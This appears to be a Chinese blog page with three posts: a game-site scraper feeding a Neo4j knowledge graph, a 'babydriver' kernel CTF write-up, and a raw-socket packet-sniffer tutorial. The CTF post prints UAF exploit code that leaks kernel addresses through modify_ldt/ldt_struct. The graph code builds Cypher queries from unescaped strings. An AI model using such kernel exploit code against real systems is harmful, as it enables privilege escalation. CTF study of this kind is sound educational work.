0%

知识图谱实践项目一

这几天都在学习知识图谱的相关技术

本篇博客先简述知识图谱的相关知识,然后分析一个我自己写的 Demo

知识图谱基础知识

知识图谱是一种结构化的知识表示方法,相比于文本更易于被机器查询和处理

知识图谱的构建是一个浩大的工程,从大方面来讲,分为 知识获取、知识融合、知识验证、知识计算和应用 几个部分

数据支持层:选什么样的数据库以及怎么设计 schema(模式)

  • 关系数据库
  • NoSQL 数据库
  • 内存数据库
  • mongo 数据库(一种分布式数据库)
  • 图数据库(Neo4J)

知识抽取层:对不同种类的数据用不同的技术提取

  • 从结构化数据库中获取知识:D2R
  • 从链接数据中获取知识:图映射
  • 从半结构化(网站)数据中获取知识:使用包装器
  • 从纯文本中获取知识:信息抽取(包括:实体识别、实体链接、实体关系识别、概念抽取

知识融合层:将不同数据源获取的知识进行融合构建数据之间的关联

  • 实体对齐
  • 属性对齐
  • 冲突消解
  • 规范化

知识验证层:分为 补全、纠错、外链、更新 各部分,确保知识图谱的 一致性和准确性

知识计算和应用

  • 本体或者规则推理:技术可以获取数据中存在的隐含知识
  • 链接预测:预测实体间隐含的关系
  • 社区计算:在知识网络上计算获取知识图谱上存在的社区,提供知识间关联的路径……
  • 知识计算知识图谱:可以产生大量的智能应用如专家系统、推荐系统、语义搜索、问答等

知识图谱项目

本项目就只有两个部分:

  • 爬虫(使用 requests 模块 + 正则表达式)
  • 知识图谱(使用 Neo4J 数据库)

爬虫

爬虫的目标网站为 https://down.ali213.net/pcgame

简单 F12 分析一下,然后直接正则匹配就好(我个人比较喜欢用 .*? 进行匹配)

  • 请求头的信息可以抓包查看

有一个需要注意的点就是中文乱码问题,在 Python 使用如下代码来查看网页 html 的编码方式

1
2
3
def test(self):
res = requests.get(self.target_url, headers)
print(res.encoding)
1
ISO-8859-1

最后把爬取的信息存储在文件中

爬虫的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-#

import os
from time import sleep
from lxml import etree
import requests, re
from urllib.parse import urljoin, urlencode
import pprint

headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57',
}

class Crawler:
target_url = 'https://down.ali213.net/pcgame/all/0-0-0-0-new-pic-'
name = 0
time = 0
size = 0
language = 0
content = 0

def get_base_html(self,get):
if get:
res = requests.get(self.base_url,headers)
text = res.text.encode('iso-8859-1').decode('utf-8')
return text
else:
text = open('base_html.txt', encoding='utf8').read()
return text

def create_list(self):
base_html = self.get_base_html(1)
name_list = re.findall('<div class="game-name">(.*?)</div>', base_html)
time_list = re.findall('<div>时间:<span>(.*?)</span>', base_html)
size_list = re.findall('<div>大小:<span>(.*?)</span>', base_html)
language_list = re.findall('<span class="game-lang">(.*?)</span>', base_html)
content_list = []

for i in re.findall('</div><p>(.*?)</p></div>', base_html):
content_list.append(re.findall('<span>(.*?)</span>', i))

for i in list(zip(name_list,time_list,size_list,language_list,content_list)):
print(i)

for i in range(len(name_list)):
self.name.write(str(name_list[i]) + "\n")
self.time.write(str(time_list[i]) + "\n")
self.size.write(str(size_list[i]) + "\n")
self.language.write(str(language_list[i]) + "\n")
self.content.write(str(content_list[i])[1:-1].replace(',','').replace('\'','') + "\n")

def run(self):
self.name = open('data/name.txt', 'w', encoding='utf8')
self.time = open('data/time.txt', 'w', encoding='utf8')
self.size = open('data/size.txt', 'w', encoding='utf8')
self.language = open('data/language.txt', 'w', encoding='utf8')
self.content = open('data/content.txt', 'w', encoding='utf8')
for i in range(80):
self.base_url = self.target_url+str(i+1)
print("now is "+self.base_url)
self.create_list()

def test(self):
res = requests.get(self.target_url, headers)
print(res.encoding)

if __name__ == '__main__':
cra = Crawler()
cra.run()

知识图谱

我自己实现的知识图谱比较简单,其核心思想就是:读取爬取的数据,将其格式化为 Cypher 后发送给 Neo4j

  • 刚开始时不了解 Cypher 的语法,遇到了很多问题:
    • 匹配不到节点
    • 删除重复节点
    • 删除重复关系
  • 不过这些问题在网上都有解决的办法

本知识图谱有两个主体 游戏名称 游戏标签,两者用 分类 关系进行连接

建立 游戏名称 节点时不用特殊处理,因为在爬虫爬取的过程中就不会有重复,但 游戏标签 中存在大量的重复,简单遍历后去重很影响效率,于是我就把 “建立节点” 和 “建立关系” 这两步给分开了:

  • “建立关系” 的过程很依赖数据在文本中的位置(爬取时就从上往下存放数据)
  • 先遍历文本并用列表记录 “存在的节点”,转化为 Cypher 后创建 游戏标签 节点
  • 然后再次遍历该文本来 “建立关系”

知识图谱的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# -*- coding: utf-8 -*-#

from py2neo import Graph,Node,Relationship
import os

classification = ['游戏名称','游戏标签']

class KG:
name = open('data/name.txt', 'r', encoding='utf8')
time = open('data/time.txt', 'r', encoding='utf8')
size = open('data/size.txt', 'r', encoding='utf8')
language = open('data/language.txt', 'r', encoding='utf8')
content = open('data/content.txt', 'r', encoding='utf8')

def createEntity(self,graph):
cql = 'CREATE (n:游戏数据库{id:\'0\', name:\'游戏数据库\'}) RETURN n'
graph.run(cql)

for i, c in enumerate(classification):
cql = '''
MERGE (a:游戏数据库{id:\'%d\', name:\'%s\'})
MERGE (b {name: '游戏数据库'})
MERGE (b)-[:划分]->(a)
''' % (i+1, c)
graph.run(cql)

name_list = self.name.readlines()
time_list = self.time.readlines()
size_list = self.size.readlines()
language_list = self.language.readlines()

for i in range(len(name_list)):
cql = """
MERGE (:游戏名称{id:'%d', 名称:'%s', 语言:'%s', 大小:'%s', 发售时间:'%s'})
""" % (i, name_list[i].replace('\n',''),language_list[i].replace('\n',''),
size_list[i].replace('\n',''),time_list[i].replace('\n',''))
graph.run(cql)

print("step 1 down")

tmp_list = []

for i in range(len(name_list)):
content_list = self.content.readline().split(' ')
for j in range(len(content_list)):
if content_list[j] not in tmp_list:
tmp_list.append(content_list[j])
cql = 'MERGE (:游戏标签{标签:\'%s\'})' % (content_list[j].replace('\n',''))
graph.run(cql)

print("step 2 down")

def createreRationship(self,graph):
self.name.seek(0)
self.time.seek(0)
self.size.seek(0)
self.language.seek(0)
self.content.seek(0)
name_list = self.name.readlines()
time_list = self.time.readlines()
size_list = self.size.readlines()
language_list = self.language.readlines()

for i in range(len(name_list)):
content_list = self.content.readline().split(' ')
for j in range(len(content_list)):
cql = """
MATCH (a:游戏名称{id:'%d', 名称:'%s', 语言:'%s', 大小:'%s', 发售时间:'%s'}),
(b:游戏标签{标签:'%s'})
MERGE (a)-[:分类]->(b)
""" % (i,name_list[i].replace('\n',''),language_list[i].replace('\n',''),
size_list[i].replace('\n',''),time_list[i].replace('\n',''),
content_list[j].replace('\n',''))
graph.run(cql)

print("step 3 down")

self.content.seek(0)
for i in range(2):
content_list = self.content.readline().split(' ')
for j in range(len(content_list)):
cql = """
MATCH (:游戏名称{id:'%d'})-[r:分类]->(:游戏标签{标签:'%s'})
WITH count(r) as num,collect(r) as rel
WHERE num > 1
UNWIND tail(rel) as rels
DELETE rels
""" % (i,content_list[j])
graph.run(cql)

print("step 4 down")

if __name__ == '__main__':
test_graph = Graph("http://127.0.0.1:7474/browser/", auth=("neo4j", "123456789"))
test_graph.run('match(n) detach delete n')
kg = KG()
kg.createEntity(test_graph)
kg.createreRationship(test_graph)

最后到达的效果如下图:

  • 只放了部分(总共有:300 个 游戏名称 节点,70 个 游戏标签 节点,17527 个关系)

个人感觉本项目在爬虫上下足了功夫,得到的虽然不是结构化的数据但非常好处理,于是省去了后续的 知识抽取 知识融合 知识验证

目前还没有学习图神经网络,基于知识图谱的应用(专家系统、推荐系统、语义搜索、问答…)暂时无法完成,之后有机会进行补充

babydriver

先进行解压:

1
2
mv rootfs.cpio rootfs.cpio.gz 
gunzip rootfs.cpio.gz
  • 这个 rootfs.cpio 其实是个压缩包,不过它省略了后缀“.gz”,这里需要先改名后解压
1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • smep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

漏洞分析

1
2
3
4
5
6
7
void __fastcall babyopen(inode *inode, FILE *fp)
{
_fentry__(inode, fp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
}
  • 伪条件竞争引发的 UAF 漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall babyioctl(FILE *fp, unsigned int command, __int64 arg)
{
_fentry__(fp, command);
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(arg, 0x24000C0LL);// void *kmalloc(size_t size, int flags)
babydev_struct.device_buf_len = arg;
printk("alloc done\n");
}
else
{
printk("13defalut:arg is %ld\n", arg);
}
}
  • 可以再释放后再申请(改写大小)

babydriver 是我们入门内核的第一道题目,现在来看看它的两个变种

变种二:去除 Read 功能(变种一在上篇博客)

没有 Read,可以使用 ldt_struct 结构体来泄露内核基地址

  • LDT 是局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引
  • 结构体 ldt_struct 就是用于描述局部段描述符表的

在保护模式中,段寄存器存放的就是16的段选择子,然后通过段选择子的信息定位到 GDT/LDT 表

1
2
[----[0-1]-------[2]------[3-15]---]
[请求特权级别RPL, 标识T1, 索引号Index]
  • Index:CPU 将索引号乘8再加上GDT或者LDT的基地址,就可以找到目标段描述符
  • TL:其值为“0”查找 GDT 表,其值为“1”查找 LDT 表
  • RPL:请求特权级别(可以用于判断当前代码是否处于内核态)

结构体 ldt_struct 的条目如下:

1
2
3
4
5
struct ldt_struct {
struct desc_struct *entries;
unsigned int nr_entries;
int slot;
};
  • 该结构体大小为 0x10,从 kmalloc-16 中取

在局部段描述符表中有许多的段描述符,用 desc_struct 进行描述:

1
2
3
4
5
6
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

Linux 提供了 modify_ldt 系统调用,用于获取或修改当前进程的 LDT

  • 内核源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount); /* 内核任意地址读 */
break;
case 1:
ret = write_ldt(ptr, bytecount, 1); /* 分配新的ldt_struct结构体 */
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}

return (unsigned int)ret;
}
  • 其中我们可以利用的两个函数就是 read_ldtwrite_ldt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

......

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

......

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
  • 劫持 mm->context.ldt->entries 就可以实现任意读(ldt_struct->entries
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

......

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries); /* 为新的ldt_struct分配空间 */

......

}

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);

......

}
  • write_ldt 中会调用 alloc_ldt_struct,然后执行一个 kmalloc(可以被 UAF 控制)

利用 modify_ldt 泄露内核地址的思路如下:

  • 申请并释放有 UAF 的堆块
  • 执行 write_ldt,使在 alloc_ldt_struct 中申请的 ldt_struct 填充 UAF 堆块
  • 利用 UAF 控制 ldt_struct->entries,然后使用 read_ldt 把数据读到用户态

在实际的利用中,只能在 ldt_struct->entries 中爆破数据

  • 命中无效的地址:copy_to_user 返回非 0 值,此时 read_ldt 的返回值便是 -EFAULT
  • 命中内核空间:read_ldt 执行成功

但我们不能直接爆破内核基地址,只能先爆破线性映射区 direct mapping area(kmalloc 使用的空间),然后通过 read_ldt 在堆上读取一些可利用的内核指针并泄露内核基地址

  • 通常情况下内核会开启 hardened usercopy 保护,当 copy_to_user 的源地址为内核 .text 段(包括 _stext_etext)时会引起 kernel panic
  • 一般情况下 page_offset_base + 0x9d000 处固定存放着 secondary_startup_64 函数的地址(kernel_base = secondary_startup_64 - 0x40

下面看一个爆破的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
fd[2] = open("/dev/babydev", O_RDWR);

ioctl(fd[0], 0x10001, 0x10);
close(fd[0]);

desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); /* 填充UAF堆块 */

while(1) /* 爆破page_offset_base */
{
write(fd[1], &page_offset_base, 8);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x2000000;
}

printf("Found page_offset_base: 0x%lx\n", page_offset_base);

pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
kernel_base = 0;

while(1) /* 爆破kernel_base */
{
write(fd[1], &search_addr, 8);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);

for (int i = 0; i < 0x1000; i++)
{
if ((buf[i] >= 0xffffffff81000000) && ((buf[i] & 0xfff) == 0x030))
{
kernel_base = buf[i] - 0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("Found kernel base: %p at %p\n", kernel_base, search_addr);
printf("Kernel offset: %p\n", kernel_offset);
break;
}
}

write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000; /* 以0x8000字节为单位分配线程 */
}

但本题目不能使用 modify_ldt + ldt_struct 来泄露内核地址

  • 该题目的内核版本是 4.4.72,其 write_ldt 函数的代码有些不同(至少在 4.20.1 才会有 alloc_ldt_struct 函数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct desc_struct ldt;
int error;
struct user_desc ldt_info;

......

mutex_lock(&mm->context.lock);
if (ldt_info.entry_number >= mm->context.size) {
error = alloc_ldt(&current->mm->context,
ldt_info.entry_number + 1, 1);
if (error < 0)
goto out_unlock;
}

......

out_unlock:
mutex_unlock(&mm->context.lock);
out:
return error;
}
  • 发现不会调用 alloc_ldt_struct 函数,取而代之的是 alloc_ldt 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int alloc_ldt(mm_context_t *pc, int mincount, int reload)
{
void *oldldt, *newldt;
int oldsize;

......

if (mincount * LDT_ENTRY_SIZE > PAGE_SIZE)
newldt = vmalloc(mincount * LDT_ENTRY_SIZE);
else
newldt = (void *)__get_free_page(GFP_KERNEL);

......

return 0;
}
  • 而在 alloc_ldt 中使用的是 vmalloc(使用 VMALLOC_START ~ VMALLOC_END 之间的区域)
  • 那么这里就不会复用 UAF 堆块了

小结:

由于该内核版本没有 swapgs_restore_regs_and_return_to_usermode,本想泄露出 kernel_base 就 OK 的,但是怎么都泄露不出来,后来看源码才发现没有 alloc_ldt_struct 函数

之后找一个符合条件的内核题目,把 pt_regs + seq_operationsldt_struct + modify_ldt 这两种利用都复现一下

Sniffer 总述

Sniffer,中文可以翻译为嗅探器,也叫抓数据包软件,是一种基于被动侦听原理的网络分析方式

  • 使用这种技术方式,可以监视网络的状态、数据流动情况以及网络上传输的信息

与 Sniffer 相关的知识

网络信息通过 TCP/IP 来定位网络中计算机的位置:

  • 应用程序的 IP 报文被封装成以太网帧(底层链路层报文上面的一层报文,包含有源地址,报文和一些需要用来传送至目标主机的信息)
  • 目的 IP 地址对应着一个6字节的目的以太网址(MAC 地址),它们之间通过 ARP/RARP 协议进行映射
    • ARP(Address Resolution Protocol)地址解析协议:IP地址转换为MAC物理地址
    • RARP(Reverse Address Resolution Protocol)反向地址转换协议:将MAC物理地址转换为IP地址
  • 包含着以太网帧的报文从源主机传输到目的主机,中间经过一些网络设备,如交换机,路由器等

源主机发出的太网帧基于广播方式传播(网络中的所有网卡都能看到它的传输)

  • 每个网卡会检查帧开始的6个字节(目的主机的 MAC 地址),但是只有一个网卡会发现自己的地址和其相符合,然后它接收这个帧
  • 读取该太网帧中的 IP 报文
  • 网络驱动程序会检查帧中报文头部的协议标识,以确定接收数据的上层协议
  • 然后通过对应的网络协议栈传送至接收的应用程序
    • 大多数情况下,上层就是 IP 协议,所以接收机制将去掉 IP 报文头部,然后把剩下的传送至 UDP 或者 TCP 接收机制,这些协议将把报文送到 socket-handling 机制
    • 然后把报文数据变成应用程序可接收的方式发送出去,在这个过程中,报文将失去所有的和其有关的网络信息(比如:IP,MAC,端口号,IP 选择,TCP 参数 ……),所以如果目的主机没有一个包含正确参数的打开端口,那么这个报文将被丢弃而且永远不会被送到应用层去

数据传输经过的各层协议过程

  • ARP/RARP 用于实现 MAC/IP 之间的切换

太网帧大致结构

1
2
3
4
[MAC头,---------------{数据}----------------,MAC尾]		>>>> 以太网驱动
-------[IP头,----------{数据}--------------]------- >>>>> IP
-------------[TCP/UDP头,----{应用数据}-----]------- >>> TCP/UDP
------------------------[应用软件头,用户数据]------- >>>> 应用程序

通信过程中,每层协议都要加上一个数据首部(用于存储信息),称为封装 Encapsulation,常见头部如下:

  • 以太网帧头部 - 14字节(也叫 MAC 头部):
1
2
3
4
5
6
7
8
9
10
11
#ifndef __UAPI_DEF_ETHHDR
#define __UAPI_DEF_ETHHDR 1
#endif

#if __UAPI_DEF_ETHHDR
struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* 目标以太网地址 */
unsigned char h_source[ETH_ALEN]; /* 源以太网地址 */
__be16 h_proto; /* 数据包类型ID字段 */
} __attribute__((packed));
#endif
  • IP 头部 - 20~60字节(取决于有没有 options):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct iphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u8 ihl:4, /* 首部长度 */
version:4; /* 版本(IPv4/IPv6) */
#elif defined (__BIG_ENDIAN_BITFIELD)
__u8 version:4, /* 版本(IPv4/IPv6) */
ihl:4; /* 首部长度 */
#else
#error "Please fix <asm/byteorder.h>"
#endif
__u8 tos; /* 服务类型 */
__be16 tot_len; /* 总长度(指首部加上数据的总长度) */
__be16 id; /* 标识(标识主机发送的每一份数据报) */
__be16 frag_off; /* 标志-偏移量 */
__u8 ttl; /* 生存时间(数据报在网络中的寿命) */
__u8 protocol; /* 协议(数据报携带的数据时使用何种协议) */
__sum16 check; /* 首部校验和(只校验数据报的首部) */
__be32 saddr; /* 源地址(发送方IP地址) */
__be32 daddr; /* 目标地址(接收方IP地址) */
/*The options start here. */
};
  • UDP 头部 - 20字节(8字节真头部,12字节假头部):
1
2
3
4
5
6
struct udphdr {
__be16 source; /* 源主机端口 */
__be16 dest; /* 目标主机端口 */
__be16 len; /* UDP长度 */
__sum16 check; /* UDP效验和 */
};
  • TCP 头部 - 20~60字节(取决于有没有 options):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct tcphdr {
__be16 source; /* 源主机端口 */
__be16 dest; /* 目标主机端口 */
__be32 seq; /* 队列数目 */
__be32 ack_seq; /* 确认编号 */
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check; /* 效验和 */
__be16 urg_ptr; /* 紧急指针 */
};

网络工具 netwox 简述

netwox 是由 lauconstantin 开发的一款网络工具集,适用群体为网络管理员和网络黑客,它可以创造任意的 TCP、UDP 和 IP 数据报文,以实现网络欺骗,并且可以在 Linux 和 Windows 系统中运行

1
2
3
4
➜  Sniffer sudo netwox 32
Ethernet________________________________________________________.
| 00:0C:29:BF:5F:3F->00:08:09:0A:0B:0C type:0x0000 |
|_______________________________________________________________|
  • 00:0C:29:BF:5F:3F:源 MAC 地址,是当前主机的 MAC 地址
  • 00:08:09:0A:0B:0C:目标 MAC 地址
  • 0x0000:以太网类型

启动 netwox 显示它提供的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  Sniffer netwox                                           
Netwox toolbox version 5.39.0. Netwib library version 5.39.0.

######################## MAIN MENU #########################
0 - leave netwox
3 - search tools
4 - display help of one tool
5 - run a tool selecting parameters on command line
6 - run a tool selecting parameters from keyboard
a + information
b + network protocol
c + application protocol
d + sniff (capture network packets)
e + spoof (create and send packets)
f + record (file containing captured packets)
g + client
h + server
i + ping (check if a computer if reachable)
j + traceroute (obtain list of gateways)
k + scan (computer and port discovery)
l + network audit
m + brute force (check if passwords are weak)
n + remote administration
o + tools not related to network
Select a node (key in 03456abcdefghijklmno):
  • 这不是本篇博客的重点,以后有机会慢慢看

网络编程基础

Linux 实现网络通信的核心函数 socket 如下:

1
int socket(int domain, int type, int protocol);
  • domain:即协议域,又称为协议族(family)
    • 常用的协议族有:AF_INET、AF_INET6、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE
    • 协议族决定了 socket 的地址类型,在通信中必须采用对应的地址:
      • AF_INET:用 ipv4 地址(32位的)与端口号(16位的)的组合
      • AF_UNIX:用一个绝对路径名作为地址
  • type:指定 socket 类型
    • 常用的 socket 类型有:SOCK_STREAM、SOCK_DGRAM、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET
    • 不同 socket 类型有不同的功能:
      • SOCK_STREAM:提供面向连接的稳定数据传输,即TCP协议 
      • OOB:在所有数据传送前必须使用 connect() 来建立连接状态 
      • SOCK_SEQPACKET:提供连续可靠的数据包连接 
      • SOCK_RDM:提供可靠的数据包连接  
      • SOCK_PACKET:与网络驱动程序直接通信
      • SOCK_DGRAM:使用不连续不可靠的数据包连接(去除以太网报文头部)
      • SOCK_RAW:提供原始网络协议存取(让应用程序对以太网报文头部有完全的控制)
  • protocol:
    • 指定协议
    • 常用的协议有,IPPROTO_TCP(TCP传输协议)、IPPTOTO_UDP(UDP传输协议)、IPPROTO_SCTP(STCP传输协议)、IPPROTO_TIPC(TIPC传输协议)

服务端需要 bind 函数来“绑定”一个端口

客户端需要 connect 函数来连接指定的服务端(通过 IP:port

实现 Sniffer

Sniffer 需要一个 socket 去监听每个端口,得到那些没有被丢弃的报文,使用 PF_PACKET 的协议簇,应用程序可以直接利用网络驱动程序发送和接收报文,避免了原来的协议栈处理过程

Sniffer 案例一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>

int main(int argc, char **argv) {
int sock, n;
char buffer[2048];
unsigned char *iphead, *ethhead;

if ((sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))<0) {
/* 使用PF_PACKET协议族
socket类型为SOCK_RAW
使用ETH_P_IP来处理IP的一组协议 */
perror("socket");
exit(1);
}

while (1) {
printf("----------\n");
n = recvfrom(sock,buffer,2048,0,NULL,NULL); /* 接收数据报并存储源地址 */
printf("%d bytes read\n",n);

/* 检查数据包是否至少包含完整的MAC标头(14),IP标头(20)和TCP/UDP标头(8) */
if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)\n",errno);
close(sock);
exit(0);
}

ethhead = buffer;
printf("Source MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x\n",
ethhead[0],ethhead[1],ethhead[2],
ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x\n",
ethhead[6],ethhead[7],ethhead[8],
ethhead[9],ethhead[10],ethhead[11]);

iphead = buffer+14; /* 跳过MAC头 */
if (*iphead==0x45) { /* 再次检查IPv4且不存在任何options */
printf("Source host %d.%d.%d.%d\n",
iphead[12],iphead[13],
iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d\n",
iphead[16],iphead[17],
iphead[18],iphead[19]);
printf("Source,Dest ports %d,%d\n",
(iphead[20]<<8)+iphead[21],
(iphead[22]<<8)+iphead[23]);
printf("Layer-4 protocol %d\n",iphead[9]);
}
}
}
  • 使用 PF_PACKET 协议族嗅探所有发往自己主机的报文
  • 通过简单的格式化输出 MAC 头与 IP 头的信息

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  Sniffer sudo ./test1  
----------
66 bytes read
Source MAC address: 00:00:00:00:00:00
Destination MAC address: 00:00:00:00:00:00
Source host 127.0.0.1
Dest host 127.0.0.1
Source,Dest ports 54530,34372
Layer-4 protocol 6
----------
66 bytes read
Source MAC address: 00:00:00:00:00:00
Destination MAC address: 00:00:00:00:00:00
Source host 127.0.0.1
Dest host 127.0.0.1
Source,Dest ports 34372,54530
Layer-4 protocol 6
----------
66 bytes read
Source MAC address: 00:00:00:00:00:00
Destination MAC address: 00:00:00:00:00:00
Source host 127.0.0.1
Dest host 127.0.0.1
Source,Dest ports 54530,34372
Layer-4 protocol 6
----------
  • 本地进程通信的太网帧

Sniffer 案例二

在上述案例中(非混杂模式),网卡丢弃所有不含有主机 MAC 地址的数据包,只有三个例外:

  • 如果一个帧的目的 MAC 地址是一个受限的广播地址 255.255.255.255 那么它将被所有的网卡接收
  • 如果一个帧的目的地址是组播地址,那么它将被那些打开组播接收功能的网卡所接收
  • 网卡如被设置成混杂模式,那么它将接收所有流经它的数据包

在 Linux 中可以使用如下代码 开启/关闭 混杂模式:

1
2
sudo ifconfig ens33 promisc
sudo ifconfig ens33 -promisc
  • 我的 VMware 上使用 ens33 虚拟网卡

使用如下代码来查看目标网卡是否处于混杂模式:

1
cat /sys/class/net/ens33/flags
  • 0x1103:开启
  • 0x1003:关闭

在C语言中使用如下代码也可以开启混杂模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct ifreq ethreq;

strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
if (ioctl(sock,SIOCGIFFLAGS,&ethreq) == -1) {
perror("ioctl");
close(sock);
}

ethreq.ifr_flags|=IFF_PROMISC;
if (ioctl(sock,SIOCSIFFLAGS,&ethreq) == -1) {
perror("ioctl");
close(sock);
}

